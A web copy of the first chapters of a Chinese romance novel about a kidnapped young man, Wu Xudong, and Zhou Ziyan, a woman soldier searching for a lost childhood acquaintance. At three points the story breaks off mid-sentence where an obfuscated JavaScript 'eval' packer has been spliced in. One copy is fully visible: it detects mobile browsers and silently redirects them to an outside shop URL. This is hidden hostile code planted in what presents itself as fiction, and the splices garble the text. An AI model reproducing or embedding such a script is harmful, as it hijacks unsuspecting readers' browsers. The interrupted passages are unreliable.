《海军大院军姐夫》 1. 身世 一九八八年,六月底,毕业季。 热浪席卷了华夏大地,整个大学城都像是闷在了蒸笼里面。 路边的树叶有气无力的耷拉着脑袋,月亮悄悄爬上来,窥探着燥热的人世间。 一群年轻的毕业生相伴从路灯下走过,嘻嘻哈哈的,很是精神。 走在前面的几个最是积极,正在商量去哪儿毕业聚餐。 吴旭东落在最后面,单手插兜,沉默地行走在蒸笼里。 他个头很高,足有一米九一,即便在北方来说,也相当出挑显眼。 更不用说,他天生的冷白皮,即便是大一军训的时候,也没有晒黑。 这让他的存在格外突出,以至于迎面走来低年级的女生时,总是会发出惊叹的哇哇声。 像一群欢快的小青蛙,天真中洋溢着青春正好的朝气。 跟他暮气沉沉的眼神一对比,衬得他分外的老气横秋。 一个伤痕累累的身体,里面住着一个沧桑的灵魂,大概就是他这副尊容了。 不过,即便来路坎坷,人生苦多,他还是挺直了脊梁,身姿笔挺的走着。 自打被拐卖,他这些年的日子很不好过。 午夜梦回,总是愁肠百结。 他有亲爸,有亲娘,还有个大哥,总是温声细语的,脾气很好,他还有两个姐姐,整天嘻嘻哈哈的,很是活泼,家里有了她们从来不会寂寞。 而他,是家里的老幺,全家都宠着他,哥哥姐姐轮流往他嘴里塞好吃的,把他喂成了一个小胖子。 他还隐约记得家附近有个漂亮姐姐,不知道是亲戚家的还是他爸爸同事家的,在一个月满星稀的夜晚,陪着迷路的他在瓜地里玩,想尽法子逗他笑。 那天的萤火虫特别多,特别好看,以至于他刻骨铭心。 星光下漂亮姐姐的眉眼格外温柔,格外闪亮,那一幕仿佛成了他的启明星,每当他在王家沟挨了打,每当他被绝望的情绪所淹没,他便闭上眼睛,让这遥远的火光温暖凉风习习的人生。 只可惜,时间太久,漂亮姐姐的具体样子已经模糊,他只记得她应该很漂亮很温柔,长辈都喜欢她。 后来那姐姐把迷路的他背回去找爸爸妈妈,一路上管他叫爱哭鬼。 他不喜欢这个称呼,努力止住眼泪,证明他其实是个男子汉,顶天立地,不哭。 没过多久他就跟那个姐姐分开了,跟着爸妈去了另外一个地方。 他不明白爸妈身上发生了什么,总之,他那爱笑的妈忽然间成了泪人儿,没多久就病倒了。 爸爸天天下地干活,下工后来不及吃饭就被人喊去大队支部接受批评。 他给爸爸送过几次饭,每次都被打翻在地。 嘲笑,挖苦,咒骂…… 充满敌意的目光犹如汹涌的海啸,一次次将他吞没。 可是即便这样,只要一家六口一条心,再苦再难也能熬下去。 他笨手笨脚的学着照顾生病的妈妈,有天炒菜的时候,他踩着小板凳,趴在比他高的灶台上,拿着巴掌大的一块肥肉往锅底抹油。 那是隔壁好心的婶子看他们一家可怜送他的,结果他还没忙完,就被人从身后打晕带走了。 醒来的时候才发现自己坐在一辆供销社的厢式货车里,身边有个凶神恶煞的男人,面相刻薄,龇牙咧嘴,像个魔鬼。 他在隔壁婶子家见过那个男人,不知道是什么关系,只知道那个男人隔三差五的找那婶子摔锅砸盆的,是个酒鬼。 他怎么也没想到,自己会落到那个魔鬼的手上,惊慌,害怕,对爸妈的牵挂,对哥哥姐姐的不舍,对未来的恐惧…… 种种情绪翻涌,他又成了个爱哭鬼。 一路哭,一路踹,可是没用,他太小了,小到没有力气保护自己。 小到没有办法挣脱魔爪,回到爸妈的身边。 他被卖到了东莱镇王家沟,成了王大柱的儿子王耀宗。 真是操蛋的人生。 更操蛋的是王大柱那个畜生,知道他五岁了养不熟,索性放弃了温情暖化的路线,只想着用武力镇压,动不动就打他。 以至于他身上全是伤,所以别看他表面上是个正常人,脱下衣服,那可真是有碍观瞻。 后来那畜生打不过他了,就开始打家里的五个女儿,胁迫他乖乖听话。 他恨王大柱,可是五个姐姐是无辜的,他不能无动于衷,只得一次次妥协。 隐忍到现在,为的就是大学毕业后有了工作,脱离那个苦海,堂堂正正换回自己原来的身份。 不过王大柱那个畜生,应该早就防着他了,所以当初上大学的时候,死活不肯让他把户口迁到学校这边。 现在毕业了,也不知道什么时候才能做回自己。 他也试过寻找亲生父母的消息,可是派出所那边一直杳无音讯。 只能走一步看一步了。 也许是因为爸妈哥姐去了很远的地方,信息闭塞,没有消息传出来。 也许爸妈已经…… 不管是哪一种,他都要继续找下去,生要见人,死要见墓。 总之,当务之急,还是要在正式上班之前把名字改了。 他下意识握紧了口袋里的那包烟,心间缭绕着化不开的愁雾,即便盛夏的热浪汹涌,也驱散不了骨肉分离的阴霾。 快出校门的时候,土木工程的好兄弟楚劲雄从远处追上来,垫脚想要勾住他的肩膀,叫他身体一歪躲了过去。 不耐烦的眼神发出无声的警告。 楚劲雄笑笑,赶紧赔不是:“好好好,你怕热,不碰你。告诉你一个坏消息,改名的事情办不了。” “怎么?”吴旭东蹙眉,脚步一顿。 楚劲雄小声道:“改名字改档案可是大事,你不带户口本根本行不通的,就算我爸是教务主任,能帮你的也有限。你还是老老实实回原籍,拿了户口本去当地派出所把身份证上的改了吧,改了之后,学校这边的手续好说。咱俩这关系,我爸肯定能帮忙给你尽快弄好,绝不耽误你去单位报到。” 吴旭东沉默了。 果然,还是要回王家沟一趟。 他这辈子所有的噩梦都来自那个鬼地方。 抗拒的情绪一起,烦躁的心情便像那烧开的米粥,咕嘟咕嘟,肆意汹涌,澎湃间掀了锅盖,砸在地上,发出震耳欲聋的响声。 是抗争,也是无望的呐喊。 火星一闪,他已经叼上了一根烟。 背靠在校门口的香樟树下,缓缓再走。 学校里知道他身世的人很少,楚劲雄是其中一个,这些年一直在想办法帮他,然而一切就像是大海捞针,很是无奈,只能陪在他身边,耐心的等着。 吴旭东一连抽了三根,那摔在地上的锅盖才被他重新捡起来盖了回去。 可是那咕嘟咕嘟的声音还在吵闹,以至于他好半天没有动弹。 树上葱郁的叶子遮挡了昏黄的路灯光芒,在他眼底洒下一片阴郁的影子,让他整个人透露出一种压抑的静默。 叫路过的女学生见了,忍不住慢下脚步,看一眼,再看一眼。 走出去一段路,那身材娇小的水乡姑娘才问了一句:“哎,秀秀,知道那个男生是谁吗?真帅。” “知道啊,电气工程的,我表姐跟他一个班,好像分到了咱这的邮电局,一进去就是个小干部呢。怎么,你看上他了?”毛文秀笑着挑眉。 柴娟羞涩地笑笑:“居然可以分到邮电局,是不是家里有背景啊。” 至于看没看上,那她不好意说。 毛文秀乐了:“没听我表姐说啊,他是穷山沟来的,能有什么背景。没想到你也有害羞的时候,等会他们毕业聚餐,要不我带你去凑个热闹?” “不了吧,又不熟。”柴娟摇了摇头,矜持是大姑娘的本能,更何况她到了秋学期才大二,离毕业还早呢。 这时候谈恋爱,就算谈了也未必能成,还是算了。 毛文秀无奈,只好随她去了。 走到前面路口,过来一个哈欠连天的男生,个头也很惊人,足有一米九几。 原本滔滔不绝的毛文秀,瞬间卡壳了,像是耗子见了猫,拽着柴娟一溜烟跑了。 跑出去很远,柴娟才笑着骂了一句怂包。 毛文秀傻笑着从春闺美梦之中醒来,问道:“哎你说,周子琛怎么回事,回回哈欠连天的,是不是半夜抢银行去了?” “怎么可能,人家爸妈那么厉害,还用得着他抢银行吗?”柴娟羡慕的看了眼周子琛的背影,但是一想到他有个凶神恶煞的姐姐,还是劝道,“我看你啊,还是换个人喜欢吧。你别忘了,他姐姐可不好惹,简直就像是恶婆婆附体一样,别人给周子琛写个情书她都要管。” 然而毛文秀还是迷恋周子琛那张脸蛋,忍不住憧憬起来:“那怕啥的?下次我要是见到他姐姐,我就问问,周子琛到底是她弟弟还是她儿子,管那么宽呢?” 柴娟笑了:“我不信,你要是真敢这么说,我就相信母猪可以上树。” “切,等着吧,下次见到他姐姐,我就直接冲上去勾住周子琛的脖子亲一口,气不死她。”毛文秀野心勃勃。 柴娟笑着没有戳破,知道她只是过过嘴瘾,毕竟那个周子琰,是真的很吓人。 去年开学时的那场纠纷众说纷纭,具体怎么回事她也只是听人议论过几次,但是周子琛姐姐的威名算是深深的留在了所有人的心里。 以至于连男生们都退避三舍,直呼那个漂亮的女人是个母夜叉。 * 校门口的香樟树下,吴旭东依旧低头不语,沉思着什么。 一个哈欠连天的校友走了过去,身边的楚劲雄抬腿踢了踢吴旭东的鞋子:“哎,你看,他就是我跟你说过的,文学系的系草,周子琛。人家爸妈可厉害了,几个孩子都很出色。他大哥是飞行员,二姐在研究所挑大梁,三姐在部队,家里就属他最小,最得宠。你看他那一身名牌,那可都是他哥给他从国外带回来的,一身好几千呢。” 吴旭东没有应答,别人的泼天富贵跟他有什么关系? 他只是荒芜野地里的一颗小白菜,对那些生在富贵乡里的仙草不感兴趣。 楚劲雄无奈,只好闭嘴目送周子琛远去,结果周子琛停在了校门对面的公交站台下,不走了。 看起来是在等车。 楚劲雄又来了兴趣,喊道:“哎,你看,有钱人家的公子哥也会等公交车啊,真稀奇。” 话音刚落,一辆宝马停在了站台旁边。 车门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楚劲雄发出由衷的惊叹:“还真是个大美女啊,留着板寸都好看!难怪她戴了假发,是怕板寸太显眼吧。我靠,那她肯定是周子琛的三姐了,只有在部队的女人才会留这么短的头发!我靠,好带劲的女人,你快看她膀子的线条,卧槽,我怀疑她随便捏我一下就可以让我哭着求饶了。” 吴旭东沉默的看了眼,确实,这女人是个练家子,肱二头肌饱满有力,一般男人在她面前肯定不敢造次。 比这结实的肌肉更突出的,是她惊为天人的美貌。 英气的长眉像是将军征战时的长矛,带着凌厉的攻势,生人勿近。 丹凤眼不怒而威,线条流畅,在尾部漫不经心的往上一挑,像是造物主精心勾勒出来的工笔画,浑然天成,撩人于无形。 这缓和了眉毛带来的盛气凌人,但又多了几分不可亵渎的距离感。 这种距离感,沿着她傲人的鼻梁向下,在鼻尖达到了顶峰。 如果这是一座山峰,一定是人人心驰神往的名山大岳,引得名家大师争相描摹它的挺翘和险峻。 而一旦站在山顶,俯瞰下面的风光,一定会被那完美的花瓣唇勾走全部的注意力。 尤其是那圆润饱满的唇珠,像是夏日雨后的风中青荷,噙着晶莹的露珠,一旦露珠滴落,便足以荡漾起满池春水,将一颗爱慕之心溺毙其中,心甘情愿做个水鬼。 吴旭东恍惚了刹那,总觉得这女人训话的画面似曾相识。 昏暗的天光加剧了这种没来由的熟悉感,好像曾经在哪个惆怅的梦中见过。 如果添上几只飞舞的萤火,那种跌落梦境的失重感便更加真实了。 可惜这个女人太过咄咄逼人,一点也不温柔。 要不然,把她跟周子琛缩小到三五岁的年纪,便可以跟他那个萤火漫天的梦境重叠。 漂亮的姐姐,柔声细语的安抚,逐渐止住的泪水,童真的欢笑,月色照耀的归家小路,对爱哭鬼三个字的不满…… 就在他头重脚轻的时候,大学同学跑过来喊他。 “王耀宗,你怎么还不来啊?全都等你呢!快点,班长还叫了照相馆的师傅,咱们一起合一张照,学校拍的太没有感情了。”同学吭哧吭哧的停下。 吴旭东回过神来,捡起脚下碾灭的烟蒂,扔进路边的垃圾桶里,直起身来往校门后新开的饭店走去。 楚劲雄不是他们班的,但还是一起过去了。 怕他心情不好,回头喝多了容易出事。 在吴旭东身后,那高挑的板寸美女一把将周子琛拽进了车里,催促道:“别磨蹭,明天我还要去东莱镇办事,今天无论如何要帮你把这事给解决了。” 周子琛不情不愿的上车,坐下后叫苦不迭:“姐,无所谓的,不就是被人偷了稿子嘛,也不是头一回了,你别再为我跟人吵架了,回头他们都说你是母夜叉,你还怎么嫁人啊。” “那不行,你是我弟弟,我帮你是天经地义的,走,我约了那个编辑去饭店见面,一定要让她撤稿。”周子琰一打方向盘,往学校后面的饭店开去。 经过吴旭东等人身边的时候,雨点正好劈头盖脸的砸了下来。 周子琰在前面路口停下,摇下车窗,喊道:“同学,去哪儿?我带你们一段?” 话一出口,她便愣住了。 后面那三个学生,其中一个似曾相识。 不过时间太久了,她不是很确定,只是眯眼打量着这个大块头。 年轻人眼中厌世的情绪浓烈而呛鼻,跟记忆中那个天真可爱的稚童完全不符。 可能是她想多了。 2. 寻找 雨下很大,宛如一头烦躁的猛虎,乘风而来,一掌将暑气拍散。 四散奔逃的热浪裹挟着雨点砸在脸上身上,模糊了天地万物。 吴旭东抬头看去,但见这个摇下车窗主动发出邀请的女人,已经戴上了假发,比之板寸多了几分柔和的女性特质,少了几分狂野的攻击性。 也许她就是猛虎,一巴掌可以拍散那些不怀好意的宵小之辈。 总之,是个人都看得出来,这个女人不好惹。 那么自然,面对她发出的邀请,胆子不够肥的根本不敢应承。 比如楚劲雄,有内心没贼胆,屁都不敢放一个。 不过吴旭东并不怕她,他连王大柱都敢打,他怕谁。 他只是不喜欢跟陌生人牵扯不清。 原打算说声谢谢不用,没想到他同学已经抬起水淋淋的脚坐了上去,扭头招呼吴旭东:“王耀宗,愣着干什么,快点上车啊,等会还要拍照呢,淋湿了可没有衣服换的。” 吴旭东蹙眉,他最烦别人对他指手画脚的。 这人叫潘浩,睡他下铺,虽然不懂他为什么生气,但还是收到了危险的信号。 只好不情不愿的下了车,丝毫没有注意自己弄脏了人家的车子。 吴旭东走近几步,看向车窗里面:“不用,谢谢。” 被拒绝的周子琰并没有生气,反倒是盯着吴旭东看了又看。 眼中有困惑,也有意外。 似乎是为了确认,她问道:“你叫王耀宗?” 吴旭东不知道该怎么回答,只能沉默。 不过不用担心,自有潘浩为他抢答。 潘浩没脸没皮的凑过来:“美女,没错,他是叫王耀宗,睡我上铺,是我们系的学霸,回回第一,班长和学委都考不过他,不怪他目中无人,你可别跟他一般见识。” 周子琰不想随便议论人,只是盯着沉默的大块头,迟迟不肯离去。 副驾的周子琛好奇的看着她,人家都拒绝了还不走? 周子琰没有理他,遥控车钥匙打开了后备箱:“后面有伞,还给我弟弟就行,文学院,周子琛,目前是三年二班。” 下学期就是四年二班了。 吴旭东愣怔了在那里,没动,显然,这个女人的热情让人意外。 潘浩傻里傻气的,完全没有多想,赶紧扑过去,拿出两把雨伞,他跟楚劲雄矮一点,可以合一把,吴旭东太高,跟谁合伞都是一种折磨,只能单独一把。 还留了一把,万一好心的美女自己要用呢。 亲眼看到大块头撑开了雨伞,周子琰沉默地合上后备箱,一踩油门,悠然远去。 楚劲雄完全石化在那里,直到一阵风把黑色的雨伞掀翻,这才手忙脚乱的帮着潘浩把伞抢救了回来。 两人走在前面,楚劲雄喃喃道:“真没想到啊,这个美女真热心啊,我还以为她被拒绝了会生气呢,结果她不但没有生气,还肯借伞给咱们,真好啊。会不会是传闻出错了,我看她不是很凶呀,去年那事是不是有什么误会啊。” 潘浩摇头,不知道。 楚劲雄叹了口气:“算了,她膀子上的肌肉还是挺可怕的,我还是不要把她想得太好吧。” 有吗?潘浩完全没有注意到。 只得看向了吴旭东。 吴旭东却没有发表意见,他的注意力都在手里的伞上。 潘浩递给他的是一把粉红色的雨伞,伞面上印的是机动战士高达的卡通形象。 真是个矛盾的女人。 剃板寸,但是戴假发,穿粉裙子。 喜欢高达,但是背景要是粉色的。 开着黑色的宝马,但是内饰全是粉色的,坐垫上印的也是高达。 女性特质有一点,但是不多。 男性特质倒是不少,但是绝不允许自己彻底男性化。 是个很奇怪的女人。 也是个热情的女人。 如果真是部队的,他只能说一句,果然是个合格的人民子弟兵。 他撑着伞,跟在后面漫不经心地走着,总觉得女人沉默的那几秒钟里,看他的眼神有些复杂。 可能是生气了,在尝试控制情绪,免得有损军人形象。 控制不住也无所谓,陌生人而已,她还能吃了他不成? 不过陌生人的好心他记住了,还伞的时候给她弟弟送一根烟吧,这是男生的社交礼仪。 有钱的成包成条的送,没钱的一根意思一下。 他摸了摸裤兜,还有三根,够用。 * 车子很快停下,到地方了。 周子琰却没有下车,她看了眼后视镜,那三个男生已经被她远远抛在了后面。 沉思良久,她还是问了问周子琛:“阿琛,你有没有注意那个大块头,他长得好像小东啊。” “你又来了姐,中国这么大,长得像的人可太多了,你不要看到谁都像吴旭东行不行?”周子琛有些无奈,他这个姐姐,真爱多管闲事。 人家吴家自己都放弃寻找了,她还在那里剃头挑子一头热,图什么呢? 周子琰没有反驳,确实,10亿多的人口呢,男女对半开,再按照年龄分一分,同龄的男性起码有几百万上千万,别说是有几个长得像的,就是有一百个一千个也是正常的。 更何况,她特地多看了那个王耀宗几眼,他是一点反应都没有的。 如果真是小东,不至于那么冷漠。 就算他当时太小记不清她的长相,起码他身上总该有点小东的特质吧? 小东是那么的天真,那么的可爱,她一说他是爱哭鬼,他就咬住嘴巴尝试控制眼泪,那委屈又倔强的小样子,不知道有多招人疼。 那样的小东,长大以后一定是个彬彬有礼的君子吧? 怎么会是这么一个不识好歹的冰山。 看来真是她想多了。 她叹了口气,懒得打伞,直接下车,让雨醒醒脑子:“走吧,赶紧把这事办了,明天我还有事。” “姐啊,你这又是陪他做复查又是送他回乡的,图什么?”周子琛实在是理解不了。 她姐怎么这么喜欢给自己找麻烦呢,万一对方自作多情误会了就不好了。 周子琰看了眼身后的黑夜,眼中是无尽的惆怅:“我多帮几个人,人家为了报答我,肯定会帮我打听小东的消息,说不定哪天就有线索了。” “小东小东小东!家里给你介绍的对象你都不看一眼,气得人家连私生子都搞出来了,你也不着急。”周子琛真是服了,至于吗? 为了一个音讯全无的人,把自己的终身大事都耽误了,何必呢。 周子琰耐心解释道:“我答应过谈伯母,一定会帮她找到小东。她现在痴痴傻傻的,一不留神就跑去车站扒火车找小东,我要是真的不管了,怎么对得起她的信任。” “你就是太热心了,得亏你总板着脸,凶神恶煞的,要不然谁都找你帮忙。”不是周子琛冷血无情,而是心疼自己姐姐,这都多少年了,又不是她把人弄丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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史青霞赶紧应下:“一定一定。” 服务员上菜后,周子琰拿出一份模板交给了史青霞:“帮我登个寻人启事,内封,长期,年付,你们杂志的定价是多少?” 史青霞报了个数字,周子琰毫不犹豫地打开随身携带的帆布包,把钱点清楚了递过去:“写个收据给我。” “我没带,等会我带你去杂志社写吧。”史青霞没想到这个女人居然还会有求于她,看在她放了自己一马的份上,提议道,“我可以跟社长说一声,自己人,打八折。” “谢了。”周子琰举起手里的汽水,化干戈为玉帛。 周子琛简直无语,他姐姐真是离谱,走到哪儿都要找那个吴旭东。 真是够锲而不舍的。 结账离开的时候,他们经过旁边的大包厢,里面传出起哄的声音。 不知道那群大学生在闹什么。 周子琰本打算直接离开,却听到了一个熟悉的声音。 是那三人里头最矮的那个,嗓音很有辨识度,像只公鸭子。 那个男学生正急赤白脸的争辩着什么,因为提到了王耀宗三个字,周子琰还是停下了脚步。 同一时间,楚劲雄推门出来了,手里还拽着下不来台的吴旭东,骂骂咧咧的,嚷道:“不喝了不喝了,你们有病吧,嫉妒王耀宗就直说,凭什么让他请客?他考第一欠你们了?分配到好单位难不成是你们的功劳?神经病,明知道他是农村来的,生活费都是他起早贪黑勤工俭学挣来的,还好意思这么坑他,你们到底要不要脸啊!” 3. 有种 吴旭东长这么大,丢过的脸可海了去了。 刚到王家的时候,他死倔不肯改口叫爸爸,更不肯承认自己叫王耀宗。 气得王大柱满村子追着他打。 那时候的他,没力气反抗只好躲,谁家开了门就往谁家躲,还求人家帮他报警。 结果他低估了乡村宗族的凝聚力,全村一致帮忙,把他往王大柱家赶。 他根本逃不掉,根本挣不脱。 还要被同龄人围观嘲笑,被那群比他高一个头半个头的男孩子组团殴打。 那时候他的自尊就碎掉了。 恨不得把自己藏起来,藏进不见天日的昏暗角落里,与世隔绝。 可他明明记得他有一个体面的家庭,即便爸妈出事了,也不至于沦落至此。 他的不甘,从绝望的废墟里萌发出仇恨的嫩芽,日日以眼泪和屈辱浇灌,长成了一株剧毒的植株。 虽然名为自尊,实则名为自卑。 所以他拼命的学习,回回都要考第一,这样才能找回一点点的尊严。 十来岁时开始蹿个头,他终于敢跟王大柱还手了,那畜生落败后,直接闹到了学校,说他不孝,连老师都开始对他敬而远之。 明明他是学习最好的学生,却被欺软怕硬的老师调到了最后排最角落里的位置。 从那时候起,毒株彻底异化,从毒草变成了长满毒刺的大树,葱茏阴郁,谁也不能触碰他的逆鳞。 终于考大学了,拿到录取通知书的那一刻,他飘了,直接狂奔去了派出所,要报案,要找亲爸亲妈。 结果王大柱领着四个女儿抄近道把他截在了派出所后面的小路上,只有五姐护着他,帮他堵住了那个畜生,让他快走。 结果那畜牲往死里下狠手,打得小女儿浑身是血,不省人事。 他本想狠狠心一走了之,可是五姐口中的鲜血一直蜿蜒到了他的脚下,化作了滔天巨浪,将那即将失控的怒火浇灭。 他认命地跪了下来,求王大柱放过五姐。 还发了毒誓,这辈子不会再找吴家人,否则就让他不得好死。 其实他心里想的是,等着吧老畜生,等老子毕业了,等老子拿到户口本改了名字,看老子怎么收拾你。 后来上大学,别人都穿得干干净净整整齐齐的,风光体面的来报道。 只有他,穿得破破烂烂,身后跟着一个死乞白赖的王大柱,到处炫耀他有个上大学的儿子。 也不想想能进这里的,哪个不是天之骄子,他一个浑身打补丁的穷鬼有什么资格显摆? 真是丢人现眼,丢到了全班笑话他的地步。 以至于开学后的班会课上,没有任何人选他当班干部。 明明他是最高分进的这个班,可惜他却成了个隐形人,谁也不待见他。 为此,他开始卧薪尝胆,这四年来,跟王家沟的一切相安无事,也跟班里的人井水不犯河水。 他不是乖了,他只是学会了蛰伏,学会了不再把自己的反叛宣之于口。 仇恨像那野竹林疯狂生根,四处蔓延,遮天蔽日,排山倒海,酝酿着一场汹涌的狂潮,名为报复。 而这报复的第一件事,就是改名更姓,做回吴旭东。 吴旭东!他是吴旭东! 不是什么狗屁王耀宗! 可是,他还没能踏出校园走向社会,同窗了四年的同学,居然也给他狠狠上了一课。 他推开了帮他说话的楚劲雄,这小子平时人缘很好,现在豁出去为了他跟这群人渣吵吵,万一被他们打击报复,这人情债可太难还了。 他不想欠楚劲雄的,一把将这家伙甩到了身后,扭头的时候没想到正好撞到了周子琰。 吴旭东明显一愣,转念一想,这个女人应该不坏,便把楚劲雄推到了她跟前:“劳驾,帮我看着他点!” 说完便进了包厢,嘭的一声把门关上了。 周子琰没有拒绝,伸出手臂,拦住了楚劲雄的去路。 楚劲雄一看又是这个女人,下意识瞄了眼她那结实的膀子。 嘀咕道:“关你什么事啊?你走开行不行?” “你这样是帮倒忙。”周子琰客观评论,不带主观偏见。 楚劲雄愣住了:“你什么意思?” 周子琰没有解释,但是她知道,这个王耀宗是个有主见的人,一定有办法自己摆平的。 他就像个刺猬,敢扎他的只会自食其果。 * 包厢里,吴旭东一脚踩在了饭桌上,一脚撑着地,仗着他腿长,活脱脱一副目中无人的架势。 这群人平日里见他闷声不响,除了上课就是去汽修店打工,以为他好欺负,没想到他居然敢来这一套。 挺别开生面的。 起码那个带头让他难堪的学委愣住了。 这人叫邓远航,老子是个干部,老娘在国营商场做销售员,老舅是商场的销售主任,家里有钱有权有势,很是不把别人放在眼里。 他早就看王耀宗不爽了,回回考试压他跟班长一头,毕业分配工作,又被这小子压了一头。 听他老子说,这小子还有个部队转业回来的亲戚。 同学四年了,谁都不知道!藏得挺严实! 直到分配工作了才一鸣惊人,简直此有此理! 今天再不收拾收拾王耀宗,以后就没多少机会了。 然而班长孙谦一向是个好好先生,虽然长得不算太高,但贵在为人公道。 这事本来就跟他没关系,是学委撺掇几个人闹的,事发的时候他也很震惊。 眼瞅着要干架,他赶紧拦住了学委,劝道:“王耀宗,邓远航喝多了,你别跟他一般见识。我早就说好了,今天聚会,咱们大家AA,谁也不吃亏,你就看在我的面子上,别生气了啊。” 吴旭东没有说话,他摸了摸口袋里的烟,点了一根。 眯眼打量着在场的这群衣冠禽兽。 吴旭东不屑地从鼻孔里挤出一声轻嗤:“怎么?以为老子穿得破烂,就等于老子没钱?真以为老子只会修车?” 没人敢接这话,毕竟没人见过王耀宗这不可一世的样子。 没办法,蛰伏了四年,把周围人都给骗了,只有楚劲雄知道他干起架来有多不要命。 现在他不装了,摊牌了,这群人反倒是傻眼了。 一个个干瞪着,屁都不敢放一个。 吴旭东像个巡视领地的山大王,冷笑道:“别以为老子不知道,你们一个个的在冒什么坏水!想看老子出丑?老子有的是钱!” “是啊,你要是没钱,怎么能收买你亲戚,给你分配到邮电局当干部?你一定是装的!有钱为什么不请客?”邓远航不服气,大声嚷嚷起来。 吴旭东嗤笑道:“有钱就要请客?你定的规矩?还有,老子年级第一,分什么工作靠的都是真本事,少在那里造谣!” 邓远航不信,挖苦道:“你就装吧!我爸可是听说了,有人跟校领导打了招呼要特别关照你,不然你顶多是去小工厂做个技术员!” “是吗?老子怎么不知道!”吴旭东叼着烟,没等学委反应过来,一把薅住对方的衣领子,强迫学委矮下身来,把脸贴在了饭桌上。 烟蒂上火星闪过,作势要烫学委的头皮,吓得学委惊声尖叫,愣是没有一个人敢上前拉架的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634910|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟这世道,豪的怕横的,横的怕不要命的。 而王耀宗现在这个样子,简直就是一个浑身沾满了毒药的刺猬,在肆意的翻滚,谁也不敢碰他一下,要不然非死即伤。 尤其是他眼中跳跃的怒火,简直就像是来自炼狱的野火,足以烧死一切不自量力的蠢东西。 众人眼睁睁看着学委被吓得当场尿了一地。 吴旭东到底没有烫他,一脚碾灭烟蒂,提起学委的衣领子,拍了拍这个窝囊废的脸颊,唬道:“接着造谣啊!老子从小就跟着家里杀猪,白刀子进红刀子出,你要学吗?” 学委还是有脑子的,他听得懂,这是在威胁他呢。 哪里还敢啰嗦什么,忙不迭的告罪求饶。 吴旭东心满意足,丢开了这个人形垃圾。 他坐回椅子上,扫了眼在座的各位,清了清嗓子,道:“时代变了,他这种窝囊废除了狐假虎威还有什么本事?真正能混出头的只有老子这样敢拼命的。今天的事出去怎么说,你们自己看着办吧。” 说着,他又点了根烟,在众人惊魂未定的沉默中抽完,扬长而去。 楚劲雄看到他全须全尾的出来,可算是松了口气。 赶紧推开包厢门,用他教导主任儿子的身份敲打敲打那群混账,顺便提醒道:“你们不知道吗?邓远航的爸爸被人举报贪污受贿,已经被停职了。他这是嫉妒王耀宗!你们今天帮他欺负人,要是闹出去,他可护不住你们,你们自己掂量着办吧!” 众人面面相觑,还有这事? 卧槽,难怪王耀宗敢对邓远航动手,这小子可以啊,是不是掌握了一手消息啊。 难不成他背后真的有靠山? 有个屁的靠山! 楚劲雄翻了个白眼:“他的靠山就是他自己,赶紧把地上收拾了!” * 走廊里,周子琰看着这个傲骨铮铮的男人,竖起了大拇指:“有种!” 吴旭东有些意外。 他那么粗鲁狂傲,她……居然没有说教? 没有指责他不文明? 这不符合她的身份。 吴旭东破天荒的,勾了勾嘴唇:“过奖。” 周子琰看了眼他手里熄灭的烟蒂,拦住了想要问问题的史青霞:“史大编辑,你不是要带我去杂志社吗?” 史青霞暗叫倒霉,今晚这事要是写一篇稿子,一定可以爆火。 题目她都想好了,就叫《干部子女带头欺压农民子女反被农民子女吓破胆》。 可惜了,可惜。 这个周子琰真的喜欢多管闲事! 然而她有把柄在周子琰手里,不得不赶紧应道:“啊,对对,没错,走吧。” 周子琰走在最后头,擦肩而过的时候小声提醒了一句:“你鞋带松了。” 吴旭东低头,鞋带确实松了,鞋胶也在咧嘴嘲笑。 一丝不易察觉的烦躁爬上眉梢。 等这女人走远了,这才转身去了洗手间,系好出来,送楚劲雄回学校。 一路上,楚劲雄都在感慨:“没想到你真的能摆平哎,看来那个女人懂你。” “懂我?”吴旭东好奇。 楚劲雄语文不好,不知道该怎么形容,只得搜肠刮肚,比划道:“总之,她就那么一伸手,一拦我,我就冷静下来了。她的眼神非常让人有安全感,她说你可以的,我就忽然不那么着急了。” 吴旭东想了想那个画面,陷入了沉默。 视线落在自己那双毫无形象可言的胶鞋上,反驳道:“想多了,她只是不想为我这种下等人浪费口舌。好了,你怎么总是提她?看上她了?” 4. 困兽 楚劲雄被吴旭东逗笑了。 “开玩笑吧你?她比我还高,膀子也比我壮,就是借我几个胆子我也不敢跟她谈对象啊。不过说真的,她长得真漂亮,万里挑一。你可以努努力,说不定她能让你少奋斗三十年。”楚劲雄倒是好心。 他这兄弟是个人才。 只是被人贩子耽误了。 身陷那么一个不见天日的鬼地方,还能考上大学,肯定是因为虎父无犬子,兄弟原来的家庭肯定不差。 所以他想鼓励好兄弟,说不定这个周子琰可以带他跨越阶层,还能帮他找到亲生父母呢。 然而这句话触了大雷,以至于寒冬骤临。 自尊过头的男人总是敏感又脆弱。 他需要靠女人? 吴旭东那一身的刺,蓄势待发。 楚劲雄犯忌讳了。 不等好兄弟发作,他赶紧讪笑着打了个哈哈,扭头就跑。 * 周子琰从杂志社出来,送周子琛回去。 路上周子琛还是想劝她:“姐,差不多得了,你这几年的工资都搭进去了,能不能为你自己想想?” “我在部队不愁吃穿。”周子琰显然听不进去。 周子琛无奈,得,他家三姐吃了秤砣,铁了心了。 不劝了,不如帮帮她,他看着都累。 便问道:“我能做点什么?” 